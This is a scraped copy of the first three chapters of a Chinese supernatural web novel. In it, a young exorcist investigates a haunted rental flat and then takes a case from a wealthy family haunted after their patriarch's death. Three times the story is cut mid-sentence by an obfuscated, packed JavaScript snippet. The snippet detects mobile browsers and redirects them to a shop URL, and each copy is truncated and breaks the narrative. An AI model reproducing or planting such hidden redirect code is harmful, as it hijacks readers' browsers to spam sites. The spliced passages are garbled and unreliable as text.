《鬼瘾犯了》 1. 第 1 章 “陆、陆先生,我是许瑶,是张雪梅张姐介绍我过来的。” 对方随手扔给他一张名片,或者说写着自我介绍和联系方式的废纸:“陆叙。” 许瑶被他的草率无语到:“这……” 对方没理会她探究的眼神:“你先说说大概的情况。” 许瑶端着纸杯,手指还有点微微颤抖,坐在她对面的男人,陆先生,是通过朋友的朋友辗转找到的,听说他专门处理这类“说不清楚”的事。 说实话,第一眼看到陆叙的时候,许瑶以为自己找错人了。 这人长得太不像干这行的了,年纪很轻,五官生得很好看,那种偏向锋利的好看,眉眼微微上挑,带着点漫不经心。皮肤很白,鼻梁上一颗小痣就显得格外明显,让整张脸少了些距离感,却多了点说不出的轻佻。 穿着宽松的黑色睡衣睡裤,脖子上挂着副很大的耳机,头发有点乱,脚上穿着拖鞋,整个人随意地坐在那儿,面前摆着一堆油炸类食物和一台笔记本电脑,怎么看都像是那种只知道吃喝玩乐、熬夜打游戏的大学生。 许瑶甚至在想,这人该不会是靠脸哄人上当的骗子吧? 但她现在也没有别的选择。 “第一次发生在十天前的三点十七分,我记得很清楚,因为我醒过来的第一件事通常就是看时间,你知道的,我们这种每天必须按时上班的社畜……” 陆叙打断她:“说重点。” 许瑶的声音有点颤抖:“我通常睡眠很规律的,但那天不知道为什么突然就醒了,没有做梦,也不是被什么吵醒。”她顿了顿,“我放下手机准备继续睡,然后就觉得……周围安静得不太对头,听不到邻居的动静,窗外也没有车经过的声音,按理来说不应该。” “我是侧躺的,面对着窗户,窗帘没动,但我感觉有一阵微弱的风从窗外吹了进来,我每晚睡前都有关窗户的习惯,”许瑶脸色有点白,忍不住咽了咽口水,“我想可能是自己忘关了了,就翻个身,想继续睡。” “闭上眼却再也睡不着,脑子一片清明,不知过了多久,我听见卧室外有水滴落的声音,很轻的滴答声,但很清晰,就像在我耳边一样,隔了几秒,又是一声。” 陆叙问她:“有没有注意到滴答声持续了多久?” “第一次就那两声,所以我没多想。”许瑶陷入回忆,显然这件事让她心有余悸,陆叙能清除地看到她皮肤上的鸡皮疙瘩。 “但水声停了之后,房间好像比刚才更安静了一点,安静到我能听见自己的心脏在狂跳……” “然后我就意识到,卧室门不对劲。” “我都是关门睡觉的啊,我确定!”许瑶变得有点激动,“但那天那道门就是开了一道缝!” 陆叙轻轻拍了拍她的手臂,示意她先喝点水。 许瑶慢慢平静下来:“灯在床的另一侧,我不敢动弹,把头缩进被子里,但还是忍不住盯着那道门缝看,看了很久,门外面,传来很细微的响动……我形容不出来是什么声音,但真的很恐怖!” “然后……然后好像有人刚刚走过去了。” 陆叙警觉:“人?是实体吗?或者说有重量?” “不是,我不知道。”许瑶抖得快说不出话了:“就是一种莫名的感觉,就像空气流动了一下那样。” 陆叙松了口气,松弛地靠回沙发:“像风吹过?” “对,就像有人从门口经过,带起一阵风,但又没有风。” “然后呢?” “然后我感觉自己头发炸起来了,心跳得快要蹦出来,只能缩在被子里发抖,不敢从被子里起身去开灯,不敢把手伸出去拿手机,这才十月,但那个被子就像冰块,我手脚都是冰凉的。” 许瑶看着陆叙,面上是明晃晃的害怕:“我决定不去想这些,但下半夜根本没敢闭眼,直到楼道里传来其他邻居起床出门的响动,我才轻松了一点,然后闹钟响了,我赶快把灯打开,门确实是开着的,但窗户是紧闭的。” 陆叙问:“然后这种事就开始频繁发生?” “没有,但不知道为什么我每晚那个点都惊醒,我睡前把门窗都锁死,也没再发生那种事了,但水滴声却每晚都能听到,就三点多那一阵。” “惊醒是类似于创伤后遗症,你被吓到了,这种情绪一时半会无法平复,等事情解决了睡眠慢慢就恢复了。” 许瑶虽然面色苍白,但还是开玩笑地说:“你还兼职心理医生吗?但问题是这件事怎么解决?” “最简单的就是不把这事当回事,现在的房子,特别是出租屋,多多少少都有点,听你的描述,这玩意并不会伤害你,你不在意也就像没发生一样,但如果你很在意的话,最好就是搬走,换一个环境。” “没有其他办法吗?我刚交了一整年房租。” 陆叙声音平淡地开口:“你租的那间房,之前是不是发生过什么?淹死的,或者上吊的。” 许瑶脸色又变了:“我没问过房东。” 陆叙站起身:“你先去问清楚,我看下日子亲自去你那儿一趟,路费你承担,还有□□费,你自己考虑。” 四天后的傍晚,陆叙跟着许瑶来到出租屋门口,来时他观察了一下,这是个老小区,选址和布局很讲究,以前的住宅区通常会在这些地方下功夫,人住进去会很安定,除非是屋子里发生不好的事。 许瑶打开房门:“房东说之前没出过事,但上一个租客确实住了不到一个月就走了,说是工作调动。” 陆叙嗤笑一声:“应该是不干净的东西把他调走了吧。” 许瑶觉得他这人性格还挺跳脱,忍不住开口抱怨:“你就别说风凉话了。” 房子很普通,标准的一居室格局,装修精致,房间格局规整,布局整齐不杂乱,不存在什么冲煞的地方,家具是房东配的,有些年头了,但看得出来质量很不错,这房子房东应该也是上了心的。陆叙环顾四周,整间屋子气场很干净,不像会出问题的样子。 他走到卧室门前,轻轻试了试门,门纹丝不动,也没有自己弹开的迹象,检查了锁体,果然有点不对头: “门锁没问题,但挡片有点不合适,容易让你产生门已经锁紧实的错觉。” 走进卧室,窗户关得很严实,窗帘不是一体式的,那晚应该是没关紧的门鼓动的帘子,导致许瑶感觉到风动。 卧室似乎没什么问题,陆叙又问:“你说的水声是从哪里传来的?” “客厅那边,要么是厨房,要么是阳台。” 两人走到厨房,水龙头很新,水槽下的管道也没有渗漏的痕迹,屋顶也是干燥的。 另一边一个晾晒衣服的小阳台,应该是房东自己隔出来的,把原本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099164|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间的风水冲乱了点,陆叙一把扯下门后的小风铃扔到垃圾桶里。 “哎哎哎,你干嘛?”许瑶想伸手去捡,看到陆叙脸上玩味的笑容时又停住了动作。 “这是我亲戚送我的,人亲自做的,说是调节风水,我还看了网上的说法,说是挂阳台没问题,真得扔?” “我问你,你感觉到有东西经过门口那晚,这风铃响没响?” 许瑶想起那晚细微的响动,手上顿时起了一层鸡皮疙瘩。 陆叙叹了口气:“阳台长廊正对卧室门,这位置本身带煞,挂在这里只会让风水越来越乱,而且你这风铃……我劝你最好还是扔了。” 许瑶追问,陆叙只是说:“说多了你也不懂,那个东西很可能就是通过它进来的,谁送你的,你自己留点心,我言尽于此。” 许瑶心下一惊,点点头,没敢再问。 陆叙回到客厅,看了眼窗外,天黑透了,他关掉屋内电源总闸,在沙发上坐下。 “现在干什么?”许瑶紧张地问。 “等着。” 许瑶坐在陆叙旁边,心里忐忑不安,但没敢说话。时间一分一秒过去,冰箱偶尔会响,楼上邻居走动的声音也渐渐安静了下来。 许瑶借着月光看了眼墙上的壁钟,十二点五十七,也就在此时,她感觉一阵莫名的寒冷从背脊传上来,身后似乎荡起一阵轻微的涟漪。 就在她要开口说话的时候,陆叙抬起手,示意她别出声。 许瑶屏住呼吸。 几秒钟后,她听见了。 滴答。 很轻的一声,从厨房那边传来。 她看向陆叙,对方坐直了身子,但没有马上过去,很显然他在等。 滴答。 又是一声。 断断续续,持续了几分钟,这个点的水滴声,她以前从来没留意过。 等到那边彻底没了动静,陆叙拿出一根形状奇怪的蜡烛,点燃,这才走向厨房,许瑶赶紧跟上。 厨房看起来一起正常,但那声音确实存在过。 陆叙举高蜡烛,光束扫过厨房的每个角落。 “你看。”他把光照向天花板的一角,那里有一小块深色的痕迹。 “楼上漏水?”许瑶问。 “也许,”陆叙说,“但不是现在。” 他关掉手电筒,两人回到客厅,陆叙站在客厅中央,慢慢转了一圈。 “刚刚有没有感觉到气流?” 许瑶想了想,点了点头,指向阳台卫生间的方向。 陆叙推开门,里面依旧正常,卫生打扫得很干净。他看向天花板,那里也有一小块水渍。 “你房东说没出过事,应该没骗你。”陆叙转过身,“但他没说这房子多久了。” 许瑶突然想起来:“这是老小区了,房东才三十多岁,他应该不是第一任房主。” 陆叙点点头:“就算只有两任房主,也够发生很多事了。” 他看了看表:“我们等到三点再看看吧,三点在很多宗教里都是灵魂感应最剧烈的时刻,这也就是你之前三点多清醒时觉得屋子安静的原因。” “什、什么意思?” “就是那会儿,你的屋子不一定是你的屋子,更像一个通道。” 许瑶突然感觉有点冷,用毯子将自己裹严实了一点。 2. 第 2 章 许瑶已经困得睁不开眼了,她靠在沙发上,没一会就睡过去了。 梦里是一片虚无,她一直往前走,但越往前越是黑色的虚空,许瑶越走越快,逐渐不堪重负,无处可逃的窒息感将她包围,下一秒她猛地睁开眼睛,下意识扫了一眼壁钟,三点十八分。 几乎是同一时间,她听见了。 滴答。 厨房那边,水声又来了。这次离得近,听得很清晰,清晰到她能分辨出是水滴落在瓷砖表面的声音。 许瑶看向陆叙,对方只是看了一眼厨房的方向,然后转头继续盯着客厅中的某一点。 滴答,滴答,卫生间的方向也传来了水声。 许瑶紧张地抓着沙发扶手,她下意识地屏住呼吸,然后她注意到了卧室的门。 门锁没开,但缝隙似乎比正常锁闭时稍微大了那么一点点,似乎有更浓重的黑色正在从门缝里往外漏出来。 不是影子,但空气在轻微流动,许瑶说不清楚那是什么感觉,但她确实感觉到了,就像有黑色的东西在黑暗中经过,从卧室走到厨房门口,经过她面前,朝卫生间的方向去了。 鸡皮疙瘩一瞬间全起来了,寒意瞬间爬满全身,她捂住嘴,想叫却发不出声来。 陆叙点燃蜡烛走向卫生间,许瑶没敢跟过去,腿像灌了铅一样,动弹不得,她看着陆叙的背影消失在卫生间门口,烛光在昏暗的空间里摇晃。 “过来。”陆叙的声音响起,带着天然安抚的意味,“别怕。” 许瑶快步走过去,本能地抱住陆叙的手臂,陆叙没推开她,只是示意她看天花板。 那块水渍比之前看的时候大了一圈,边缘还在慢慢扩散,像是有水正从楼上渗下来。 但却没有任何动静。 依次检查完房间,陆叙回到客厅,熄灭蜡烛,打开灯,诡异的氛围消散了点,他慢条斯理地拿出保温杯,给自己泡了一杯颜色不明的水。 看许瑶好奇地打量,陆叙笑了笑:“最近身体有点不好,喝的药。” 许瑶点点头,指了指他的杯子:“这个小狗我也喜欢,很可爱。” 陆叙笑了,拿起杯子看了好一阵,忍不住吹嘘:“我这可是正版联名,花了我小一千呢。” 喝完水,陆叙恢复了点精神,打开所有房间的灯,又在屋里绕了一圈。 “水痕消失了,你懂我的意思吗?” “啊?” “意思是我们刚才看到的漏水,并非真实存在的,是通过我的蜡烛看到的不属于这边的东西。” “还有气流。”陆叙看着她,“你说的那种感觉,像是有人经过带起的空气流动,我也感觉到了。” “你对这些似乎比我更敏感,具体和我说一下刚才的感觉。” 许瑶看起来并不是八字很轻的体质,还有那个属阴的风铃,这其中肯定有什么事,但许瑶并不知情。 许瑶声音又开始抖起来了:“我感觉黑色的空气从卧室出来,经过我俩,然后进了厕所。” 陆叙思考了一会:“它最后消失在厕所里了,但厨房的水滴声又是怎么个事呢?” “所以……”许瑶的声音很轻,“那些都是真的?” “是有什么东西,而且保底两个。”陆叙合上手机,“也不算传统意义上的鬼,没到那种程度,更像是一种……印记。” “印记?” “发生过的事情在空间里留下的痕迹。”陆叙解释,“水声、气流、水渍,这些都是当时发生的事在不断重复,时间到了,环境对了,它就会复现。” 许瑶想了想:“所以这里以前真的出过事?” “很可能,肯定是这栋楼,但不一定是这一间房。”陆叙说,“而且跟水有关,淹死的,或者在浴室出的意外。” “那我怎么办?” 陆叙看着她,沉默了几秒。 “搬走。”他说,“这是最简单的办法,这种痕迹是被你那个风铃无意间聚集在这里的,不会伤人,不会影响气场,但就像一部按时播放的录像带,常规手段没法彻底清除,你继续住下去,每晚只要你还在那个点醒来,就会再经历一遍,时间长了,对精神不好。” 许瑶咬着嘴唇不说话。 陆叙又说:“或者你可以试着习惯它。把它当成定时响的闹钟,知道它会来,也知道它不会对你做什么,现在很多住出租屋的人其实都是这样的。” “你觉得我能接受吗?” 陆叙看着她,摇了摇头。 “你已经害怕了。”他说,“害怕了就很难再住得安心。” “真的就没别的办法了吗?”许瑶不甘心地问,“这里是我花光积蓄租的,我刚过实习期,退租我付不起违约金,也没钱再找别的房子了。” 陆叙打量了她一眼,这姑娘虽然低调,但穿着挺讲究,屋内的新摆件都不是便宜货,还有她手腕上那串配饰,应该挺有来头,不然这件事就不可能只是印记那么简单。 她住在这种老旧的单人出租屋,怎么看都不太合理,大概是和家里闹别扭,跑出来想证明自己能独立生活的那种叛逆小孩,他见过不少这样的。 “破财消灾。”陆叙说,“你可以养猫或者狗,必须是自己买的,不能抱养。动物对这些东西比人敏感,它们在的话,那些印记的能量会弱一点。” 许瑶苦笑:“我对动物毛发过敏。” 毛发过敏?陆叙在心里咀嚼了一下,掏出手机把她的客户信息完善了一下。 “那就摆些东西,驱邪的物件,不同派别的都有。我发你一份对应这种事的物品清单。” 他手指在屏幕上划了几下,很快许瑶的手机就收到了一条消息。她点开,是一份很详细的文档。 “桃木剑、八卦镜这些是道家的。佛珠、经文是佛家的,这些都是常用通用的,还有其他专门弱化印记的,简单点的也有。”陆叙解释,“最下面有很多推荐购买的地点,我都实地考察过,不会有假,你可以自己去找去买。” 许瑶翻着清单,越看越觉得复杂。 “你不卖这些?” “不卖。” “那你怎么赚钱?”许瑶抬起头,“就光收咨询费?” 陆叙笑了一下:“对,我告诉你问题在哪儿,怎么解决,具体买什么,去哪儿买,你自己决定。” “为什么不做成生意?”许瑶好奇了,“你完全可以自己做成产业链,然后卖给需要的人,肯定赚得比现在多。” “各有所长。”陆叙收起手机,“我能调查这些东西的来路,知道怎么应付,但其实不擅长实操,也没有制作法器的能耐,而且,”他顿了顿,“这种事情,还是让人自己去选比较好。你信什么,就买什么,我要是卖给你,你反而会怀疑我是不是为了赚钱,会怀疑东西是否灵验。” 许瑶想了想,觉得确实是这么个道理。 “那你推荐我买什么?” “看你有没有信仰,最好是铜镜,因为是气流式的痕迹,遇到聚气的东西会削弱存在感。”陆叙说,“如果什么都不信……还要省钱的话,就买盐和艾草,每个月换一次,但这个效果不保证。” “这些东西有用吗?” “有一点用。”陆叙很诚实,“治标不治本,因为源头并不是你住的屋子,真要彻底解决,要么搬,要么就是去查这栋楼以前发生的事。” 许瑶咬着嘴唇,看着那份清单,半天没说话。 “你自己考虑。”陆叙站起身,“那个风铃,你最好明天就扔了,或者找人问清楚。” 许瑶点头:“费用呢?” “两千。”陆叙说,“上门查看分析和解决办法。” 许瑶转了账,陆叙确认收到后朝门口走去。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099165|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等等。”许瑶叫住他,“如果我买了那些东西,还是不行怎么办?” 陆叙回过头。 “那说明这些玩意不想放过你,到时你再打我电话。”他说,“不过下次就不只是简单的凶宅处理和两千块了。” 他拉开门,外面的天已经蒙蒙亮。 “对了,”陆叙停在门口,“买东西之前拍好你屋子的照片,那些东西买回来之后,按照别人教你的做,不要随便摆,摆错了位置,有时候比不摆还麻烦。” 陆叙赶了个早车,回到自己的小工作室时,也才刚到饭点。 地方不大,一室一厅,客厅被他改成了工作区,堆着各种杂七杂八的书和资料。 吃完饭,把垃圾随意扔到门外,他一屁股瘫在沙发上,拿起手机点开那个最近沉迷的游戏。 新卡池出了,up的配件里正好有他想要的。 陆叙盯着屏幕看了几秒,手指划过充值界面,68、328、648。 算了,反正刚赚了两千。 十分钟后,他看着账户余额,陷入了沉思,两千块已经进去了一大半,卡池歪到他奶奶家了,好东西出了一堆,但他需要的那个依然没有出现。 “操。”陆叙把手机扔在茶几上,“刚才就不该看她是个小女生就心软,下次该收多少还是得收多少。” 他闭上眼,半睡半醒地窝在沙发里休养生息,这几天熬夜有点多,还在那些阴暗的地方走来走去,身体确实有些吃不消。 手机震了两下。 陆叙没睁眼,以为是游戏推送,懒得理。 又震了十几下。 他烦躁地抓过手机,眯着眼看了一眼屏幕。 十几条消息,发件人备注是“郑宏-云城-法器-紫”。 老郑是云城做法器生意的老板,平时爱钻研点紫白飞星流派的风水学,偶尔会给陆叙介绍一些客户,两人算是合作关系。 “在吗?有个活儿,不知道你接不接?” 陆叙打了个哈欠,懒洋洋地回了句: “什么活儿?” “云城陆家,听说过吧?” 陆叙顿了顿,云城陆家他当然听说过。那是云城最顶上的家族,没有之一,势力盘根错节,牵扯很多,这种大家族一般不会轻易找外人处理事情,除非—— “出什么事了?” “不太好描述,反正挺邪门的,自从他家老太爷死了之后就没消停过,找过好几个人了,都没搞定。有人问我认不认识人,我琢磨着这活儿你应该能接,价钱也好商量。” 陆叙盯着屏幕,手指在键盘上悬了几秒。 云城离这儿不算远,陆家的活儿,价钱肯定不会低。老郑说都没搞定,说明确实棘手。 棘手意味着有意思,意味着他也不一定能搞定,也意味着危险。 但他账户余额已经见底了。 “什么时候?” “越快越好,他们那边被折磨疯了,你要是愿意,我现在就给你对接。” 陆叙看了看游戏界面里那个没抽到的配件,忍不住长叹一声,是真不想接,但…… “发来。” 几秒钟后,老郑推来一个名片:陆修望。 陆叙盯着这三个字,莫名觉得有点眼熟。 老郑提醒:“这位是陆家现在唯一的长孙,你自己多注意,别得罪人了。” 陆叙笑了一声,管他呢,反正求人的是对方,大不了就不干了。 他加了好友,想了想,没有马上询问情况,先睡一觉再说,现在这状态过去也干不了什么。 陆叙把手机扔在一边,整个人瘫在沙发里。 迷迷糊糊间,他想起许瑶那张惊恐的脸,还有那个老旧出租屋里若有若无的气流和两处水痕。 这件事还是有点不对头,过后还得再去帮人家小姑娘好好看看。 3. 第 3 章 陆叙刚闭上眼,手机又开始震个不停,他烦躁地抓过来看了一眼,是刚才那个陆修望。 “你就是陆叙?” “多久能到这边?请尽快。” “在吗?” “怎么不回消息?” “我问你话呢?” 一连串消息轰炸下来,陆叙眉头皱得更紧了。这语气,典型的大少爷做派,习惯了颐指气使。 他正想着要不要直接把人拉黑,手机又震了。 “你到底行不行?不行我找别人了。” “说话。” “能干干不能干就滚。” 陆叙盯着屏幕,困意瞬间消失了一半。 他烦躁地打了一行字: “想解决问题就闭上你的狗嘴。” 发完,他直接把手机调成了勿扰模式,翻了个身继续养精神。 管他什么大少爷小少爷,烦人的客户他以后再也不接了。 一觉睡到下午七点,陆叙是被饿醒了,醒过来脑袋还是一阵眩晕,他挣扎着爬起来,随便煮了碗泡面,又喝了点药,打开日历看了看,又点开小程序算了算,云城这一趟,后天去比较合适,订了票,又顺手给陆修望发了个行程。 临行前,他还是有点担心许瑶的事,发了消息询问: “这几天怎么样了?” 许瑶秒回了一条语音,听起来情绪还不错:“我很好!我按你说的买了铜镜和桃木剑,还有一大堆有的没的,偶尔还是会有水滴声,但没那么频繁了,而且我好像没那么害怕了,睡眠质量好了很多。” “嗯,继续观察,有问题随时找我,包售后。” “陆先生,谢谢你,你真是人美心善!以后肯定发大财!” “……” 陆叙看着这条消息,心里稍微安定了点。 没出什么大问题,也没提风铃的事,送她这玩意的人应该不是故意的,风铃聚的阴也不算严重,只要她自己心态调整好,加上法器中和异常能量,应该能熬过这段时间,等她攒够钱搬家,事情就彻底解决了。 陆叙收拾了一下东西,把常用的罗盘、蜡烛、镜子之类的装进背包,虽然他不太用得上这些,但基础的工具还是要带的。 陆修望态度欠揍,要不是看在钱的份上,他才懒得接这种客户,不过那人依然没有新消息,估计是被他那句“闭上狗嘴”给气着了。 陆叙得意地勾了勾嘴角,锁好门,朝车站走去。 两地离得近,两小时左右的车程。 他刚下车,手机就响了,不出所料是陆修望。 陆叙犹豫了两秒,本来打算挂了电话去找老郑,想了想还是接了。 电话那头传来一个年轻男人低沉的声音,语气依旧傲慢: “你到云城了?” “刚到。” “定位发我,我去接你,和你说一下情况。” 陆叙想都没想就拒绝了:“不用,告诉我地址,我自己打车。” “你确定?”陆修望的声音里带了点嘲讽,“从你那边到陆家老宅,打车得好几百。” 陆叙沉默了。 “那也不用你管。”陆叙说,“地址发我,会狗叫的车我不坐。” 反正最后算在咨询费里,就他这鬼态度,加他个十万八万一点都不过分。 陆修望冷哼一声: “随便你。” 挂了电话,陆叙收到了一条定位。 他看了一眼,确实挺远的。打了辆车,陆叙靠在后座上,闭着眼睛琢磨着这一趟到底会遇到什么。 能让陆家这种级别的家族搞不定的事,绝对不简单。 车开了快一个小时,终于到了云城北边。陆叙从车窗往外看,远远就能看见那片庄园。说是老宅,倒不如说是一整片山头土地都是陆家。建筑群依山而建,气派得不像话。 沿着盘山路又开了十几分钟,才终于到了正门。 陆叙付了车费下车,抬头看了一眼门口,一个穿着黑色西装的年轻人正站在那儿,背着光,看不太清脸。 “陆叙?”那人开口,声音和电话里一样,带着点傲慢。 “嗯。”陆叙背着包走过去。 距离近了,他才看清对方的长相。 陆修望这家伙,别的不说,长得确实挺帅,还很贵气,五官带着点邪气的锋利感,眉眼狭长,鼻梁高挺,嘴唇线条凌厉。 身高目测一米八七往上,腿长得过分,西装穿在身上,像是从杂志里走出来的模特。 陆叙听老郑说过,这人才21岁。 21岁,穿着西装,拿着根烟,一副霸道总裁的做派。 陆叙在心里翻了个白眼,感觉有点像神经病。 不过他还是习惯性地多看了两眼,陆修望的五官虽然带着邪气,但仔细看,其实骨相很正。天庭饱满,地阁方圆,眉目之间隐隐有光泽。这种面相,一看就是命好的人。 而且不只是好。 陆叙眯起眼,在对方脸上扫了几遍。 八字全阳,甚至很可能是纯阳之体。 这种命格的人,天生克邪,百煞不侵,运势再差也差不到哪儿去,就算遇上什么脏东西,也会自动避开他。 按理说,陆家有这么个长孙坐镇,不应该会出什么大问题才对。 “看够了?”陆修望皱着眉,显然注意到陆叙一直在盯着他看。 “没。”陆叙摸着下巴继续打量,“你这长相,不太像会出事的人。” 陆修望愣了一下,随即冷笑:“你这是在夸我?” 陆叙疑惑:“夸你干嘛,你这爱叫的狗有啥好夸的。” “……”陆修望忍了又忍,要不是有求于他,早就把他揍一顿丢出去了。 陆叙又问:“陆家这么大的家族,怎么是你来负责这件事,其他人都中招了?” 陆修望的表情变得有点复杂,他沉默了几秒,转身朝里面走:“跟我来。” 陆叙跟在后面,穿过正门,里面比外面看起来更夸张,标准的园林风格,但规模大得离谱,一路上都有园艺工人,看起来像什么土皇帝的窝点,陆叙忍不住有点仇富,想一脚踹死陆修望。不过总体来说宅子有点冷清,不太符合家族气质,看来这件事影响范围挺大。 陆修望适时开口:“目前大多数人都搬去市区了,我爷爷虽然病得严重,但他不肯走,没办法,我只能留在这看着他。” “搬走能解决问题吗?” “有些人会好一点,有的没什么变化。” 陆叙点了点头。 走了快十分钟,到了一处看起来很有古典美的院子,陆修望开口:“这是我爷爷住的院子,我太爷爷也是在这里走的。” 陆叙“嗯”了一声,等着他继续说。 “他今年才七十多,身体一直很硬朗。”陆修望的语气有点担忧,“但我太爷爷走后没多久就病倒了,时常神志不清,有时候说有黑影在面前晃,有时候又是什么面色青紫的人,还说自己被困在黑雾里。” 他顿了顿:“然后渐渐地,家里其他人也开始做这种梦,甚至没住在这边的也会受影响。” 陆叙挑了挑眉:“都有那个面色青紫的人?” “对。”陆修望回头看了他一眼,“都说不清具体是个什么生物,但共同点就是脸色发青发紫,有些人甚至能听到惨叫。” 陆叙若有所思地点点头,没说话。 两人又走了一段路,陆修望停在一座独立的院落前。院子很大,布局讲究,但不知道为什么,明明是下午,阳光正好,这院子里却透着一股说不出来的阴冷,有阴气。 “其他人应该和你说过了吧,一般这种情况,都是祖坟出了问题。” 陆修望的表情没什么变化,显然早就听过这个说法,他点了根烟:“去看过了,没什么异常。” “没异常?”陆叙有点意外,“你们祖坟在哪儿?” “那边。”陆修望随手指了指远处的一个山头,“我太爷爷葬在那儿,往上几代的祖先也都在,更早的老坟不在云城,但风水师都去看过了,没问题。” 陆叙皱起眉,这就奇怪了。 按照症状来看,家里老爷子突然神志不清,其他人也开始做噩梦,而且梦境内容都指向同一个幻像。这种情况,十有八九是祖坟根基不稳,要么是风水被破了,要么是有什么东西跑进去乱了气场。 “哪个风水师看的?”陆叙问。 “姓方,云城本地的。”陆修望说,“祖上都是做这个,我家几代安坟动土都是他们经手。” 陆叙点点头,方家确实有点名头,不可能看走眼。 “那就麻烦了。”他抓了抓头发,“如果不是祖坟的问题,那还得检查别的地方?” “你要检查哪里?” “这宅子本身可能有问题。”陆叙看着眼前这座院落,“也可能是你太爷爷生前招惹了什么东西,死后带回来了。” 陆修望吸了口烟,烟雾从他鼻腔里缓缓飘出来。 “你进去看看?” “嗯。”陆叙点头,“不过在那之前,我得先问你几个问题。” “说。” “你太爷爷生前年轻时是做什么的?” 陆修望沉默了几秒。 “什么都做。”他很坦白,“早年做过不少没法说的事。” 陆叙了然。 果然。 这种大家族,发家史能干净到哪儿去。 “他死前有什么异常吗?”陆叙又问。 “没有。”陆修望说,“走得很平静,寿终正寝。” “那就奇怪了。”陆叙喃喃自语,“如果是生前招惹的东西,临死前应该会有征兆才对……” 他看向院子,眯起眼:“算了,进去看看再说。” 陆修望站在院门外,目光落在陆叙背影上。 说实话,第一眼看到这人的时候,他是有点失望的。 倒不是说陆叙长得不行,相反,这人长得很好看,身材比例很好,身高腿长,单是站在那儿就有种松弛的美感,五官也长得很讨人喜欢,眉眼散漫,嘴角习惯性地微微勾着,看起来有点轻佻,是那种男男女女都会喜欢的长相。 但怎么看都不像是干这行的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099166|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆修望这段时间见过不少大师,要么穿西装,要么穿唐装,但这人穿着一件有点旧的黑色宽松外套,里面是白T恤,下身是撞色工装裤,乍一看就是追求穿搭的年轻人出门的打扮,身上也没带什么法器,只是带着条很有设计感的大金链子,和整体的风格还很搭。 这让他更怀疑了。 这种人,看起来更像是那种成天吃喝玩乐搞搞文艺,发点伤感男头当个小网红的,真能解决家里的问题? 陆叙已经走远了,陆修望没跟上,只是站在门外看着,他想起刚才陆叙盯着自己看的那几秒。 那眼神很奇怪,不是普通的打量,更像是在看透什么东西,眉头微微皱着,那双本来带着点轻佻的眼睛瞬间变得很专注。 然后那人分析了一堆,和其他大师说得大差不差,但陆修望莫名其妙有点想信任他。 不过信任又有什么用呢? 他爷爷的情况一天比一天差,家里人被牵扯进来的越来越多,其他方面也…… 风水看了,驱邪驱了,什么都试过,没有一个管用。 介绍人说这个陆叙不一样,说他是真有本事的。 陆修望盯着院子里那个背影,心想,最好是真的。 否则就这个人数次挑衅他,他不介意让这人从此以后在这行混不下去。 陆叙站在院子中央,闭着眼,脸上没什么表情。阳光落在他身上,把那张本来就有点轻浮的脸照得更加模糊,睫毛在眼睑下投出一小片阴影。 过了几秒,他才睁开眼,慢慢在院子里走了一圈,仔细感受着周围的气息,那股阴冷确实存在,像是有一层看不见的寒气笼罩着整个院落,但越是仔细感受,陆叙就越觉得不对劲。 这不是灵体。 他处理过不少灵邪相关的东西,有怨气重的,有执念不散的,那些东西的共同点是恶意。 但这里没有。 这里的阴冷更像是……一种气场。就像冬天走进地下室,温度骤降,但仅此而已,没有别的不对劲。 陆叙走到主屋门口,透过窗户往里看了一眼。 屋里躺着一个老人,头发花白,面色蜡黄,正闭着眼睛昏睡,床边坐着个中年女人,应该是照顾他的佣人,也是个八字硬的,估计是找人算过专门找来镇宅的,屋里更是没有灵体的迹象。 陆叙转身走到后院溜达了一圈,又仔细感受了一遍,还是一样的结论,这里有阴气,但没有鬼。 他推开院门走出去,陆修望还靠在门框上抽烟,看见他出来,微微抬了抬下巴:怎么样?” “没有鬼,也没有别的东西作祟。” 陆修望愣了一下:“怎么会?” “看你这样,你还挺期待家里有鬼?” “……” “你爷爷身上,还有这个院子里,都没有什么脏东西。”陆叙说,“那些阴冷的气,更像是从别的地方传过来的。” 陆修望皱起眉:“从哪儿传过来的?” 陆叙看向远处的山头。 “我确信是老坟的问题。”他说,“要么是你太爷爷的新坟,要么是其他更早的老坟。” “可是方师傅说——” “我知道方师傅的判断不会有问题。”陆叙打断他,“但风水师看的是风水,不是我说的这些东西。” 他组织了一下语言:“风水讲的是气场流转、龙脉走向、阴阳平衡。但有些东西,不在风水的范畴里。” 陆修望盯着他:“你是说地底下?棺材里?” “哟,你还挺有悟性。”陆叙满意地点了点头,“而且不是最近才有的,应该存在很久了。只是你太爷爷下葬之后,某种平衡被打破了,所以才开始影响你们家族的人。” 陆修望沉默了几秒,掐灭烟头。 “你要去看坟吗?” 